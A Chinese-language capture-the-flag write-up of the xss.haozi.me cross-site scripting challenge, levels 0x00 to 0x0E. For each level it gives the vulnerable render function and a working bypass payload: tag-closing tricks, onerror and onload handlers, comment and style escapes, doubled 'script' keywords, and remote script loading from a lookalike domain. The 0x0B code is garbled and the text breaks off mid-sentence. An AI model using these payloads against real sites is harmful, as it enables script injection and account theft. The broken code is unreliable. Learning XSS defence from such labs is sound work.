xxs.haozi.me 挑战

0x00

<script>alert(123)</script>

0x01

闭合文本标签
</textarea><script>alert(123)</script><textarea>

0x02

return '<input type="name" value="' + input + '">' 闭合后面的">
123"><script>alert(1)</script>

0x03

/[()]/g
/g 全文查找出现的所有匹配字符 即查找[()]
input = input.replace(stripBracketsRe, '')
将查找出来的替换为 空
使用onerror事件: 参考:http://www.w3school.com.cn/jsref/event_onerror.asp

也可以不加javascript

0x04

const stripBracketsRe = /[()`]/g
增加了单引号过滤,同样可以用onerror事件

0x05

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

-->过滤了,还需要绕过闭合-->
在html中标签是弱类型使用–!>同样也可以闭合注释

--!><script>alert(1)</script>

0x06

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

忽略大小写全局匹配:auto或者是on=或者>

更改type类型为img 继续使用onerror事件

1
2
3
type="image" src="xxx" onerror

="alert(1)"

0x07

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

使用body的onload事件
onload 通常使用于 元素中,用于在页面完全载入后执行指定的脚本(包括图片,脚本,css文件等)。

将最后的>去掉 然后回车

0x08

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

不能输入</style>但可以输入</style/>

0x09

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

匹配网址,可以调用js文件
https://www.segmentfault.com.haozi.me/j.js

0x0A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

过滤了 /但是没什么用
https://www.segmentfault.com.haozi.me/j.js

0x0B

1
2
3
4
function render (input) {
input = input.()
return `<h1>${inputoUpperCaset}</h1>`
}

toUpperCase() 方法将字符串小写字符转换为大写。

利用src加载一个外部js文件
12</h1><script src="https://www.segmentfault.com.haozi.me/j.js">alert(1)</script>4567

0x0c

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将script替换为空,双写绕过即可
</h1><scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js">alert(1)</scrscriptipt>

0x0D

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

//是单行注释 回车即可绕过

1
2
3
alert(1)

-->

0x0e

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

将<后面的所有字符前全部加_,也就是将